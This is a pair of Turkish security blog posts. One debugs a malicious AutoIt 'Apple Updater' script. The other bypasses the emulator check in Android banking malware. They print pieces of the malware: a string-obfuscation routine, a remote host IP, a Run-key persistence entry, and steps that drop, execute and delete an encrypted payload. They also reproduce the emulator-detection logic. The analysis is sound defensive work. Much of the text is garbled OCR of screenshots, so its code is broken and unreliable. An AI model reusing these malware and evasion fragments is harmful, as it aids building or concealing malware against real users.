Hata ayiklama araglari (betikleri) arasinda Dbug araci, diger araclara kiyasla daha kullanisli oldugu i¢in onunla ilerleyebilirsiniz.

Dbug aracini kullanmak i¢in 6ncelikle Auto IT script editorii olan SciTE aracini yiiklememiz gerekiyor. Dbug aracinin kurulum paketinden
¢tkan Dbug.au3 dosyasini, analiz etmek istedigimiz safe betigi ile ayni klasore koyduktan sonra safe betiginin ilk satirma #Include
“ Dbug.au3” satirin1 ekliyoruz. Bu iglemi gergeklestirdikten sonra Dbug hata ayiklama aracini/betigini ¢calistirmak icin bagka bir eksigimiz

kalmryor.

safe betigini SciTE ile agtiktan sonra ilk olarak F5 (run/resume execution) tusuna basarak Dbug aracinin devreye girmesini sagliyoruz. Fakat
betigi ¢alistirdigimizda, Autolt kiitiiphanesindeki degiskenler ve fonksiyonlar ile betiktekiler ¢akistig1 i¢in soruna yol agan bu degiskenleri

ve fonksiyonlar1 silmemiz gerekiyor.
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http://www.autoitscript.com/forum/files/file/407-dbug-another-debugger-for-autoit/
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* C:\Documents and Settings\Administrator\Desktop\74367267 M\App_Updater\Apple_Updater\safe. aud - SciTE
Fle Edt Seach View Took Options Language Buffers Hep

DEElE & BX o= qQat

i #1 wde " _Dbug.aud®
2
30

4 GlolCon:t £

-] Glblo I :
8 Globel c -
T Gll

a Gll

S Globel ¢

10 GllCot

1z Gll ;

13 Gll :
14 G11
15 Glul v
16 Gll
17 Gl]. .
18 Gll
19 611. e
20 G11
21 Gll ;

22z Global Const

v

+>16:32:59 Starting AutoltIWrapper v.16.306.1237.0 SciTE v.3.6.2.0 Eeyboard: 0000041F OS:HIII_XPISurvic'o Pack 3 CPU:X64 05:X86 Environment (Language:0409) Cc
+> SciTEDir => C:\Program Files\AutoIt3\SciTE UserDir => C:\Documents and Settings\Administrator\Local Settings\Application Data\Autolt v3\SciTE\Autol
>Running AU3Check (3.3.14.2) from:C:\Program Files\AutoIt3d input:C:\Documents and Settings\Administrator\Desktop\T4367267%\App_Updater\Apple_Updater‘safe.aul
"Ct\Documents and Settings\Administrator\Desktop\743672679\App_Updater\Apple_Updater‘\safe.aud”(3,33) : error: $fc nooverwrite previously declared as a "Const’.
Global Const $fc_nooverwrite = O

uments and Settings‘\Administrator\Desktop\T743672679\App_Updater\Apple Updater\safe.au3"(4,31) : error: §fc_overwrite previously declared as a "Const'.

Global Const $fc_overwrite = 1

scuments and Se

Global Const §fc_cr

o
p
™~

T9\App_Updater\Apple Updater\=afe.aud"(5,32) : error: $fc_createpath previously declared as a "Const’.

cuments and 3 ings\Administrator\Desktop\743672679\App_Updater\Apple Updater\safe.au3”(6,30) : error: $ft modified previously declared a= a

Global Const sft_modifxed = g

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

-

Betigi sorunsuz bir sekilde ¢alistirdiktan sonra goziimiize kestirdigimiz bir satirin {izerine gelip F9 (run to cursor) tusuna basarak program
akisinin o satira kadar ilerlemesini sagliyoruz. 3711. satira geldigimizde farenin imlecini (cursor) bir st satirda yer alan $1c7065203373
degiskenin iizerine getirdigimizde, o degiskenin hangi degere (http://149.202.206.57) sahip oldugunu gorebiliyoruz. OllyDbg aracinda
oldugu gibi F7 tusuna basarak ilgili fonksiyonun i¢ine girebiliyor, F8 tusuna basarak ise (step over) fonksiyonun i¢ine girmeden akisin (flow)
devam etmesini saglayabiliyoruz. Ozetle Dbug arac1 sayesinde adim adim fonksiyonlarin ne ise yaradigim 6grenerek, fonksiyonlarmn yanina

yorum (comment) da yazarak kisa bir siire i¢inde zararli yazilimin/betigin ne is yaptigini kolaylikla 6grenebiliyoruz.
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http://ollydbg.de/

* C:ADocuments and Settings\Ad trator\Application Data\Apple Updater\safe.aul - SciTE

He Eat Seach View Took Opbiore Language Buffers Hep

DEHE & Y BBX =~ Qaob
Local $aret = DllCall("kernel32.dll™, "bool", "UnlockPile”, "handle”, $hfile, "dword", _winapi lodword($ioffset), "dword”, _winspi hidword{$ioffset), "dword"”, _winapija|
If ferror Then Return SetError(@error, fextended, 0) b |
Return Jaret[0]

- EndFunc

| DBUG ver. 2016.03.25 - Running safe.aud |
ol=1# Bl

Func _winapi urmapviewoffile(§paddress)
Local $aret = DllCall("kernel3Z.dll”, "bool", "UnmapViewOfPile"™, "ptr”. Spaddress) .&l&.l

If derror Then Return SetError(ferror, fextended, False) || | E IZI
Reticn: sacarll] Bresk in Global{3711)

- EndFunc . 1
lwatn:h lCmndaiIn!e [sstungs; Help |
= Punc winapi wowédenablewowédfsredirection(§benable) ~wDBUG helpess
Local $aret = DllCall("kernel3Z.dll”, "boolean”, "Wow64EnableWowS4FsRedirection”, "boolean”, $benable) £
If derror Then Return SetError(@error, fextended, 0) L5 Mockaya et s :
Return Saret[0] Ctrl+F2 - set/reset breskpoint line
L EndPunz . F4 - pause execution

F5 - run/resume execution

F6 - activate main DBUS window
F7 - =step into

F8 - step over

F3 - run to cursor

Ctrl+Enter - execute command

#EndRegion Public Punctions
i#icgim Internal Functiona

Punc _ winapi makeqword (§ilodword, $ihidword)

Local $tintéd = DllStructCreate("uintéd™) Ctrl+F10 - gquit from DBUG
Local =iDEL {"dword; dword™, Dll3tructéetPtr (§tintéd))

DllStructSetData (§tdwords, 1, $ilodword) 2. Tips:

pll (§xd da, 2, fihidword)

Return Dllst
- EndFunc

tGetData (frintéd, 1)

L #EndRegion Im
Global $1c708!
§1c7065203373 =

1 Functions

373, GvE6B417q23886, $whS0050v14202, $bJT7L72z34123, $zp4S5214i1773, 5Sdv24654k21486

361 "OxAZ4T S4FZTTTFIII6934D68ESEDEAD442820TFCBTATE033FE5B6123D4T" ", “12038392604502155876") ; htep://149.202.206.57
12BEFBACLT0B2Z6FE3ITDFICFABBLTS56", T12038392604502155876") ; Winrar gifresi: GpRxSLyVd

2.206.57/ k0 9b50361 ( "0x5C4DEFTEFS35A3T4IDTFEZECEFOABTED", "1203B392604502155876") & dyE8609b50361 ("0x559DFOBECEDFZASATZERIIBIFZIECFLI0", "1Z03B39Z6045C
Szpd5214i1773 = @AppDataDir & dy68605b5S0361("0x5C4DBFTEFS95A3T43DTFEZEGEFUABTED", “12038392604502155876") & dy6860%b50361 ("0xDTFOZZEEBCAET48B1DCAFTEZB0801EF3 ", "120383926045C

§ih25321=89783 = dAppDatabDir & dyS68609b50361( "0:5C4DBPTEPSS5A3743D ABTED", *1. 045021558767 , &: \Documents and Settings\Administrator\Desktop\743672679\App Upc
§dv24654k21486 = dy6B60IRS0361 ("0xT8TCEBBOI03AEDSLCI40ASDELIDDITLI™, "lZ038392604502155876") ; #comments-start

§1x78645b58153 = dy 361 ( 329TPELTESELFF. *, "12038392604502155876") ; AlgoPaas

§9=77591w36570 = dy 361 [ "O0adl ZFES4787 SDSAZEBCD®, T12038392604502155876") ; unbin. bin

Sta25061z22023 = dy6Be09b50361 ("Ox2EBFIZEPD BEBTI ", TlI03839260450Z155876") ; unbinZ.bin

ShqT0452q43468 = Scalg aes 256 ; 26128
§b377172234123 = Random (10000, . 1) & dye8E09b50361{ "0x1ChSTCDDS4S058012REPEADIIZDEBATE", "120383592604502155876")
[{}If (FileGotSize ($zpd5214i1773) > 1024 * 1024 * 2) AND thlB284071855() == 4 Then ; bursya girdi. Script orjimel yerinden galigmaz ise buraya girmipor.
giB7402u75156()

3 Else
! ec53BI2LTIETE ()
3 giB7402u75156()

EndIf

B ! [
Preas F6 for activate DBUG window. "#... STOF DBUG" and "#... START DBUG" - stop and resume debug below this line. o~
MustDeclareVars b |
http://149.202.206.57/

| sl |
123710 co=8 INS (CR-+

L #Enddegion Internal Punctions
Slobal FLoT0#52e3370, EvEeBi1TqII0NG, SwhB00SOvIAZO0L, biTTLITIaNNAL), GapdSileilTTI, RdvEESORILONG
$1eT06522207T2 361 ( “DwaZd TTIFINIEN TPCETATROIIFRIBEIIINAT, “12078
FYtEd1TqIING = dpSBE0IBS0NEL  “Ux00LIBEFIACLTORZGFRITOFICPARBITIGS, "LI00EINE0AS0ZLSIATE"Y) ; Winrar gi

Ay$BE0MI0TEL URICADRFTERS FATTAIDTFEZREAFOANTRD *

dySBE0TRI0TEL | TDRICADRFTERIFIAITA TEL

2604S0T1S0T6%) ; herp://149. 202, 206. 57
Spanstpvd

IOMMINTLOA0Z1II0TES) ¢ dyeBORI0IEL | xS IDPONRCEDPIASATIARIINIFIIRCEIOS, “LI0JNIITEOAOIIINNTET) 1O \Documents end Settings\ddministretor\Besktop) 74067
! and Bettings \ddministrator \Besktop) 4067

T =12008: 153076

- and Settings\ddministretor\Desktop|T4ITI6TH App_Updetes \ipple_Updeter

dySRE09B30261 | “DxTITCERBOIOIAGDI LOIA0ASDBLABORTLI®, 12000052 604502155074~
12¥TERL =, 13008 e

4 SORATBCO®, "IZOININTEOAS0ZLIINTE") ; wnbin, bin h
. ® $3074*

¥ wibF £ unbind. bin
Bealg_w & 26LIR al
Random 10600 1 “oxte 1ZDBATE®, *12030392604502155074° -
leder Fapd321441TTD 024 ¢ 1024 * T) AND thiSI4eT1833 4 Then ; burays girdi. Seript orjimal perinden galigmar iss buraps girmiyer. Elr
YRR Break in aal7333m32633(1732)
SRl it
£eSI0IILTIETE Watch | Commands|Infs | Settings| Melp
Fi0THO2TILSE ver & v —— value -
DL FewsiT207 604694 s seringlo] *'
SgdS1160gq6344k B suringlo] **
FgpEI9LIB80162A nD
qeTIINenII2T ¢ MEEY CURRENT USER\Software \Microsoft \Nindows\CurrentVersion\Run -> Apple Updater [T L stringl0] .
paTT i Serspe and Settings\ddministeetor\dpplicetion Date\dpple_Updetes A mi galagtiralds kemtrel Feryrererrp ] 5 sringio)
CEIIPLIEITEE | s i \Documents and Settings\ddministretor\dpplicetion Dete\dpple Updeter\lsssss.exe var mi homtrols bbb e = sring0)
T Frtéii1TqInndl s seringlo] "'
- Endtuns FreatI11410179520109wS 15 Tu 102 ul S 4604 e
fres38311 A wo
] Func ead7933u52633 Fd A4S aR T 400k L sringfo] **
Bocal FetS10NTEIEA06, PoeSiDRTEIEA042, FabBATHARLLET. huxdT445 0 ety ‘] seringlo) o
§ bl id TR Random 10000 #999999999S = .,
ottt hcesi by s s e #Tempbic r Frring (3] "Ci\DOCUNE-1\ABNIN v
$g45234096544 © Randem 10000, $FIFIIIINT. L i . - .
Lecal Fgefl8)8mlilild
FgeRlEdimiile = #Tempbir ¢ dySBEOTHI0IEL  “DEATHIOZN 814 - Tén TabBEdTARB1142
DirCreste fgedifiimiidt) ; Wempd Alesorunde mmerik isimii Aissos elugturrer.
PileSevavtrid fgslliliinllld, dy00PB30)61 "OnIFé401TSETIDIGBRLIIOEDEDCIININICT, “IZOIEINTEOA0ZLNTE" ¢ Olupturulen klasoru gorummes Fapiyper.
Global FewiB7I0c)60EY Bax) 744007440 J4SAZ0ZPLIFL TROP4CED *1200809TE045021550T4"
M43 TS Fpa3Ilédqensd SUmASOEPEFIE. 3 TSFOFLTRIPRS. “1200809ZE0AS0ZL59876"
BinaryTetring w?9140i94029
180m1104 - Z0TPFIIM0OFFINIBIACHEIOCET, 120000 E04S0215507TE% & BewSHTZ0CIE0ES, FerSlONTEREA08) ; Stampd Alesssunds mumerik isimli sme olugturuper. iperifini comsenta-stert’ten elipor. [(commend
FerSl087e264062 -~ BinaryToString telT78ct s
Filewr i qei18i8mil e dy$8£09850361 "OEATDIOZOTFZ 14 &%, 12008 $5876" FoeT0EMMBENETY, FerllDETel 640462
= s Sleep (€000
¢ Apagadeds satirds yubaridaii satirds Vtempd dlasorunde slugturulan gifreli AR dospess sgiliper. D dgerifini commenta-atart tan sldi. (AN Jifresi: SpRRSTFVE
Run  Ggel1ETEmLLN4 SOAATEIOI0 IBLACHELOCE", "12038)I2 404502155074 Fow3B 72006049 Dl dAdT2 -, 12008 Té" Frtdiel1Tq2 084 AyeRE0 0461 “DxADCALSS
Sleep(1000)
Pilabelete fgsdlodinills ( dy 20303 €%)  BenSHIZ0636HE9) ; Olugturdufu mumerih sxe doayasima siliper. g = wehm vr)
Filebelete fgellilomiidd “0alATIIOIOTIE TMIBLACHELOCE". “1I008) 604302155074~ FoaTOEMBESATS ; Olupturdufu numerih pifreli RAR dospassms siliyor.

Bu yazinin son yillarda Autolt ile gelistirilen zararli betikleri analiz etmede faydali olmasi dilegiyle bir sonraki yazida gorlismek iizere
herkese giivenli giinler dilerim.

The post Autolt Hata Ayiklamasi appeared first on Siber Giivenlik Giinliigii.
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Android Anti Anti-Emulator

By Mert SARICA on January 1st, 2017

2014 yilinda, T.C Ulastirma Denizcilik ve Haberlesme Bakanligi’na bagli Haberlesme Genel Miidiirliigii tarafindan yayimlanan Kurumsal
SOME Kurulum ve Yo6netim Rehberi‘nin ydnetici zetinde de belirtildigi iizere, Kurumsal Siber Olaylara Miidahale Ekipleri (SOME), siber
olaylar bertaraf etmede, olusmas1 muhtemel zararlar1 6nlemede veya azaltmada hayati dnemi olan yapilardir.

SIEM miihendislerinin, sizma testi uzmanlarinin yani sira, zararli yazilim analizi bilgi ve becerisine sahip giivenlik uzmanlarina da sahip
olan SOMElerin, kurumlarin savunmasini giiglendirme ve miisterilerini koruma adina, bu uzmanliklardan yoksun olan SOMElere kiyasla
bir adim daha onde olduklarini sdyleyebiliriz. (Tek kisilik dev SOME ekipleri yok sayilmustir.)

Kritik altyap1 sektorlerinden biri olan finans sektdriinde yer alan bankalarin ve kurumsal SOMElerinin, mobil olsun veya olmasin bankacilik
zararli yazilimlarini yakindan takip etmeleri olduk¢a 6nemlidir. Kimi zaman bir banka, bankacilik zararli yazilimlarinin gelisimini izleyerek,
ileride ne tiir bir tehdit ile kars1 karsiya kalabilecegini dngorebilir ve hazirligini yapabilir.

Mobil bankacilik zararly yazilimlarimin disinda, yeni nesil oltalama (phishing) saldirilarimin da mobil zararli yazilim ile
gerceklestiriliyor olmasi, mobil zararli yazilim analizi bilgi ve becerisine sahip olan giivenlik uzmanlarina olan ihtiyact da ortaya
koymaktadir.

2015 y1li ortalarinda bankalar, miisterilerini hedef alan ve Bakir EMRE ‘nin de detayl bir sekilde analiz etmis oldugu Android zararli yazilimi
ile kars1 karsiya kaldilar.

2016 yilinin ortasina geldigimizde ise bu Android zararli yazilimini gelistirenlerin, zararli yazilima TOR iizerinden haberlesme 6zelligi de
eklediklerini gordilk. Bununla da kalmayarak Tiirkiye’de faaliyet gosteren 51 tane bankadan (2015 yili rakamlari) 27 tanesine ait sahte
sayfalar1 da (banka.mobilsubeyukle.com) web sayfalarinda olusturduklaria tanik olduk.
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— --'“—'—'—-'_““E@ﬁ

x \+

(- (i «.mobilsubeyukle.com (-t o | O Search ¥+ & B | - =

Eh Most Visited ’ Getting Started @ Finans Yatinm Ortakhg... 5 Latest Headlines
@ Disable &y Cookiesw # €55 [J Forms+ [E Images- @ Information= [5] Miscellaneous~ / Outline~ f Resizer 24 Tools~ B View Sourcer [N Options~ "4 6 "4

Burada “tam” anlamiyla

ozelsiniz

Mobil

. Mobil Bankacilik hizmetlerinden yararlanabilmeniz icin uygulamayi yiklemeniz gerekmektedir.

Uygulamayi Kur

27 BANKANIN MUSTERISI HEDEF ALINIYOR!

Zararl1 yazilimi analiz ederken, Tiirk¢e fonksiyon isimlerinin yani sira, isvm isimli bagka bir fonksiyon adi dikkatimi gekti. Fonksiyonun
baska herhangi bir fonksiyon tarafindan ¢agrilmamis olmasi da (xref), bana ilerleyen siiriimlerde bu fonksiyon ile karsilasacagimiz mesajini
verdi. Fonksiyona baktigimda bunun giivenlik uzmanlari tarafindan zararli yazilimi analizinde de kullanilan Android Emulator, Genymotion
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Oykiiniiciilerini (emulator), tespit etmeye yonelik oldugunu gérdiim. Hayata geg
¢aligmaya basladim.

tiginde bunu en kolay ne sekilde atlatabilirim diye ilizerinde

w VmDetecTor.class - Java Decompiler - B
File Edit Navigation Search Help
H 4 ConnectionMobile.class & DialogMaker.class™: 4 General.class:: & JSONHttpClient.class & Kithat.class & MCrypt.class & MySQLiteHelper.class
& ﬁ & BuildConfig.class & MainActivity.class L Basebd.class: & CallLogHelper.class & Certs.class™ i ConnectionDetector.class
e
+ = Bood X & PreferencesHelper.class % SmsWriteOpUtil.class & SocketManager.class - & StringCrypor.class:: 4 USSDService.class & VmDetecTor.class
= GBedleandroid istener e e e ~
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Search string (* = any string, ? = any character):

“igvm™|

Search For Limit To

|| Type || Construetor || String Constant || Declarations
|v|Field || Method ||References
1 matching entry:
[=E mobilsubed; i iar.iar

=R SR o Taows
Open  Cancel

>

ilk olarak Google tarafindan Android uygulamasi gelistirmek amaciyla iicretsiz olarak dagitilan Android Studio siiriimiinii kurup, jD-GUI
(Java Decompiler) ile elde ettigim isvm fonksiyonunu, tespit sonucunu ¢ikt1 olarak da gosterecek sekilde (Are you in in VM ? Result:)
degistirdikten sonra 6ykiiniicii i¢inde ¢alistiracak bir kod hazirladim.

DD ¢4 X000 QAR ¢ Higapp-/>P SR AL GE @ L& ? o
[Caisvm [Zapp [src Cimain  [java [E1com [l example 1 mert  Elisvm (€ MainActivity
& W Android v @ %10 8 activity mainxml X | © MainActivityjava % i)
v 3 app ({StringBuilder}localobjectl) .append("Build.DEVICE " + Build.DEVICE + "\n"); o
¥ [ manifests ((5tringBuilder)localObjectl).toString(): %
@AndmidManifesLxml localObjectl = Boolean.valueOf (false):
; if ({"google sdk".equals (Build.PRODUCT)) || ("sdk_google phone x86".equals(Build.PRODUCT)) ||
g Y B java ) {"sdk".equals (Build.PRODUCT) ) || ("sdk_x86".equals(Build.PRODUCT)) || ("vbox86p".equals(Build.PRODUCT)) ||
g ¥ 1 com.example.mertisvm (Build.FINGERPRINT.contains ("generie")} || (Build URER. contains (" o domn”}) 11
- ©@un MainActivity (Build.MODEL.contains ("Emulater”)) || (Build.MODEL.contains("Android SDK built for xB86"))) {
$ v [ comexample.mertisvm (androidTest) localObjectl = Boolean.valueOf(true);
P LS }
- IQ L Appll:ahonTeslt Object localObject? = localObjectl; 1|
¢ 7 [ comexamplemertisvm (test] if (Build.BRAND.contains ("generic"))
B (@ % ExampleUnitTest {
g ¥ Bires localObject? = localObjectl; |
B drawable if (Build.DEVICE.contains("generic")}} {
v BT layout localObject2 = Boolean.valueOf (true);
& activity_mainxml ) ! B
» 1 mipmap : System.out.println ("Are you in VM ? Result: " + (({Boolean)localCbject2).booleanValue()); -
» [ values return ((Boolean)localObject2).booleanValue(); 1
* (2 Gradle Scripts )
ol protected void onCreate (Bundle savedInstanceState) |
super.onCreate (savedInstanceState);
setContentView (R. layout.activity main);
isvm();
£ Android Monitor - L Event Log i
To.U0L L

i :
* (58 Emulator Mexus_S_API_23 Android 6.0, APl 23 n com.example.mertisvm (15647)

W ODASLULLNY CaskS. [.&pp. 0 Ceis i DI nuyg SUppuL Lo |

? 15:08:20 Gradle build finished in 5s 952ms

p ~ - '.15.—03-.20 Instant run applied code changes and restarted the app.
i il logeat | Monitors +* Vorbn:ln Q- Regex  Show only selected applicationu (Don't show again) — -
E [+ ] a 1ert.isvm W/System: Classloader referenced unknown path: /data/app/com.exampl || 15:08:56 Executing tasks: [:app:incrementalDebugSupportDex] = E
; & iert.isvm W/art: Before Android 4.1, method android.graphics.PorterDuffColorF 15:0%:03 Gradle build finished in 63 453ms E.
as] . ert.isvm I/System.out: Are you in VM ? Result: true ~7915:09:04 Instant run applied code changes and restarted the app. z
& ert.isvm D/OpenGLRenderer: Use EGL_SWAP_BEHAVIOR_PRESERVED: true ™M (Don't show again) i
w | o » =

& Terminal W

I8 Messages

L R 4: Run
Q Instant run applied code changes and restarted the app. // (Don't show again) (moments ago)

[ Gradle Console
« 8 0

“BTODO

B80:1 CRLF: UTF-8% Con
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*

isvm - [C\Users\Mert\AndroidStudioProjects\isvm]
File Edit View Navigate Code Analyze Refactor Build Run Tools VCS Window Help

DEHD #4 X0 AR &> HEp~(PEn Lam ¥

(app)

- 3

L ow ?

..\app\src\main\java\com\example\mert\isvm\MainActivity.java - Android Studio 2.0

Cdisvm [dapp [src [Imain [ljava [E1com  [Elexample [ mert [isvm (€ MainActivity
i Android - € 5= #8108 activity mainaxml ¥ | (€ MainActivity java *
J
;E mapp = PUDLlC Class MAlNACTIVILY @XTends APDUOMpDATACTIVILY |
z 5 = public boolean isvmi()
; o= rnamfests ;
O java Object localObjectl = new StringBuilder ();
o [£] com.example.mertisvm ((StringBuilder)localobjectl) .append ("Build.PRODUCT " + Build.PRODUCT + "\n");
2 (3 BT + "\n");
3 e Select Deployment Target BN Bty
& [ com.example.mertisvm (an "
{'p - [£1 com.example.mertisvm (test) ({SL; Connected Devices

[res

o .
g o Oreclesenpis fsﬂ. Available Emulators
5] 3¢ ([ Nexuss APl 23
1
Objed Create New Emulator
it (&
E : | Use same selection for future launches
g Android Monitor W | LVETIC LY
2 [ Unknown Custom Phone - 5.1.0 - APl 22 - 768x1280 - lsvm Android 5.1, AP| 22 H com.example.mertisyy 3¢ 19394100 Executing tasks:
3 15:55:18 Gradle build

B8 i logcat | Monitors +* Verboseﬂ Q-

[ ]

Regex = Show only selected application n

75/ com
75/com.
77/com. example.mert.isvm D/OpenGLRenderer: Use EGL_SWAP BEHAVIOR PRESERVED:

ample.mert.isvm W/art: Before Andreid 4.1, method android.graphics.

ample.mert.isvm I/System.cut: Are you in VM ? Result: true

PO~ |

¥ 2 Favorites

P4Run  “BTODO | ii6: Android Monitor

] Run selected configuration

»

[E|Terminal  #1(: Messages

®

isvm - [C\Users\Mert\AndroidStudioProjects\isvm]
Eile Edit View Navigate Code Analyze Refacter Build Run Teels VCS Window Help

ODHD ¢4 000 QAR & > Hifapp~/tr & ¥

Clsre Cimain [ljava [Elcom  [Elexample [l mert  [Elisvm

(app)

T - -
oW

LaE @ ¢
£ MainActivity

7

Ciisvm [ app

it Android - € = £~ 1= 8 activity mainaml % | (€) MainActivity java x
% I3 app E¥ public Class MalnACTIVITY eXtends APPUCMPATACTIVITY |
" public boolean isvmi()
- [ manifests
i ] {
[ java Object localObjectl = new StringBuilder();

[£1 com.example.mertisvm ringBuilder)localobjectl) .append ("Build. PRODUCT ™

% £ 5 MainActivity ngBuilder)localdbjectl) .append ("Build. FINGERFRIT
& » B com.example.mertisum (an anu? f.:iel‘hlccaloh'!ecr_!: -append ["Bu:.le.mNUE‘N:TU'I
& o ngBuilder)localObjectl) .append ("Build.MODEL " +
v (51 com.example.mertisvm (te i1der)localobjectl) .append ("Build. BRAND " +
[ res ({StringBuilder)localObjectl) .append ("Build.DEVICE " 1
£ » (@ Gradle Scripts o }lecalobjectl) . toString ()
= localobjectl = Boolean.valueOf(false);:
g if ({"google_sdk".equals(Build.PRODUCT)) || ("sdk_good
@ {"sdk".equals (Build.PRODUCT) } || ("sdk_x86".eq
(Build.FINGERPRINT.contains ("generic"}) || (By
{Build MODEL.contains ("Emulator”}) || (Build.2
localObjectl = Boolean.valueOf(true);
}
Object localObject? = localObjectl;
if (Build.BRAND.contains ("generie”))
8 {
E localobject? localCbjectl;
3 Android Monitor - L | bvent Log
£ [H Unknown Custom Phone - 5.1.0 - AP1 22 - 768x1280 - lsvm Ancroid 5.1, API H com.example.mertisvi 7% ::’:"‘?: SEwCUELY
3 5:55:18

@ ; i logcat | Monitors +* \-"erboseﬂ Q-
o

wi
e

15/com. example .mer

75/com. Jisvm IfSystem.out: Are you in VM ? Result: true

77/com.example .mert.isvm DfOpenGLRenderer: Use EGL_SWAP BEHAVIOR PRESERVED:

ample.me

¥ 2 Favorites

»

I 4:Run & Android Monitor B Terminal
Gradle build finished in 1m 18s 665ms (moments ago)

»

BT0DO B0 Messages

]
flgili kod,

Oykiniiciileri Build. PRODUCT, Build. FINGERPRINT,

Unknown Custom Phone - 5.1.0 - APl 22 - 768x1280 - lsvm [Android 5.1, APl

22)

suild.PRODUCT)) |

| ("vbox86p".equals(Build.PRODUCT)) ||

dins ("Genymotion"}) ||
i SDK built for x86"))) |

[:app:c . ‘app:generateDebugScurces, :a

finished in 1lm 18s 665ms

14 Event Log

235 CRLF: UTF-8: C

Aapp\sre\mainijaval\com\example\mert\isvm\MainActivity java - Android Studio 2.0

= Genymotion - Custom Phone - 5.. — &

Hello World!

11 Event Log
UTF-8% C

235 CRLF=

A

PPigenerateDeb

[¥] Gradle Console
-1

B L

PpigenerateDeb

[¥] Gradle Console
-1

BPesy (uy

13Pai proapuy i

aypeis (s

[2PA Proapuy <is

2
=4

Build MANUFACTURE, Build MODEL, Build.BRAND,

Build.DEVICE degerlerine gore tespit ettigi i¢in (Are you in in VM ? Result: true) bunlari GenyMotion iizerinde ¢alisan Custom Phone —
5.1.0 — API 22 imajinda nas1l degistirebilecegimi arastirmaya bagladim. Cok gegmeden /system/build.prop dosyasinda cihaz iireticisine dair
bu degerlerin yer aldigini buldum. Genymotion Oykiiniiciisiinde yer alan imajlar root yetkisi ile ¢alistigi i¢cin Root Explorer uygulamasini
kurduktan sonra /system/build.prop dosyasinda yer alan ve tespit i¢in kullanilan degerleri teker teker silmeye basladim. Ardindan dosyay1
kayit, edip dykiiniiciiyli yeniden baslatip dykiiniicii kontroliinii gergeklestiren isvim kodunu/uygulamasini tekrar ¢alistirdigimda bu defa
Oykiiniicii tespitini IDA ile ugrasmadan sistem iizerinde ufak bir degisiklikle atlatabilmis (Are you in in VM ? Result: false) oldum :)
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¢ system

SYSTEM STORAGE

528.75MB used, 1.42GB free, r/w  Mount R/O

l M Parent folder

| app
1 04 Nov 1512:04:00 rwxr-xr-x

| bin

H 04 Nov 15 11:46:00 rwxr-xr-x
build.prop
17 Nov 15 14:07:00 2.92K rw-r--r--

il etc
H 04 Nov 15 12:05:00 rwxr-xr-x
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©0 Genymotion - Custom Phone - 5... = F

# begin build properties

# autogenerated by buildinfo.sh
ro.build.id=LMY47D
ro.build.display.id=vbox86p-userdebug 5.1

LMY47D eng.buildbot.20151117.200402 test-keys
ro. .version.incremental=eng.buildbot.
20151117.
ro.
ro.
ro.
ro.
ro.
ro.
ro.
ro.
ro.
ro.
ro.

ro

ro

build

build
build
build
build

build

build
build

200402

.version.sdk=22
.version.codename=REL
.version.all codenames=REL
.version.release=5.1
build.

date=Tue Nov 17 20:07:40 CET 2015

.date.utc=1447787260
build.
build.
build.

type=userdebug
user=buildbot
host=buildbot.soft.genymobile.com

.tags=test-keys
.flavor=vbox86p-userdebug

.product.brand=generic
ro.

product.name=vbox86p

.product.device=vbox86p
ro.

product.board=

# ro.product.cpu.abi and ro.product.cpu.abi2
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" Power off
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L isvm - [C\Users\Mert\AndroidStudioProjects\isvm]
Eile Edit View Navigate Code Analyze Refactor Build Run Tools VCS Window Help

(app)

“{o"):

-equals (Build.PRODUCT) }
|1 {"vboxB6p".equals (Build.PRODUCT) )

Aapp\sre\mainijaval\com\example\mert\isvm\MainActivity java - Android Studio 2.0

3 | °© Genymotion - Custom Phone - 5.. = 2 |p e EaE ¥at LI W 7
o] le [Eimert [lisvm (€ MainActivity
g ! p tainxml ¥ | () MainActivity java %
£ { © Class MalNACTIVITY @XTenas ADPLOMpatACTIVITY |
= Q dblic boolean isvm()
Object localObjectl = new StringBuilder();
5 Hello World! der)localObjectl) .append ("Build.PRODUCT " + Build.PRODUCT + "\n"):
2 der)localtbjectl) .append ("Build. FINGERFRINT " + Build.FINGERFPRINT +
ﬁ ingBuilder)localObjectl) .append ("Build. MANUFACTURER " + Build.MANUFACTURER + "\n
: {{5tringBuilder)localObjectl) .append ("Build.MODEL " + Build.MODEL + "\n");
v ingBuilder)localObjectl) .append ("Build.BRAND " + Build.BRAND + "\n");
ar}localObjectl) .append ("Build.DEVICE " + Build.DEVICE + "\n"};
EL }localobjectl) . toString ()
-Z. localobjectl = Boolean.valueOf(false):
§ if ({"google sdk".equals(Build.PRODUCT)) || ("sdk_google phone xB86"
@ ("sdk".equals (Build.PRODUCT)} || ("sdk_x86".equals(Build.PRODUCT) )
{Build.FINGERPRINT.contains ("generic"}) || (Build.MANUFACTURER.contains("Genymotion"}) ||
(Build.MODEL.contains ("Emulator”)) || (Build.MODEL.contains("Android SDK built for xB86"))) |
localObjectl = Boolean.valueOf(true);
1
Object localObject2 = localObjectl;
if (Build.BRAND.contains ("generie”))
8 {
5| localobject? = localObjectl;
3 - L Eventlog
29 1 TUloUL LT
& hdroid 5.1, API 22 H com.example.mert.isvi P 16:
w | = i
| _;I egex | Show only selamdapphcationn
é L] ﬂ )/ com.example.mert.isvm W/art: Before Android 4. 1, methed android.graphics.p
% @ J/com.example.mert.isvm I/System.out: Are you in VM ? Resul B 7
:q 5 2/com.example.mert.isvm D/OpenGlRenderer: Use EGL SWAP BEHA' 24 E_xcr:ul‘mq_task.s: : [:-1pp:.asscrr-blcnc:bur;|
* :27 Gradle build finished in 3s 84dms

» | » »
R 4:Run  “BTODO | i Android Monitor B Terminal
[ Gradle build finished in 35 844ms (a minute ago)

50 Messages

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

The post Android Anti Anti-Emulator appeared first on Siber Giivenlik Giinligii.

300295 CRLF=

4 Event Log
UTF-8+% Cc

AAPLID ()

1BPOW ProJpuy i
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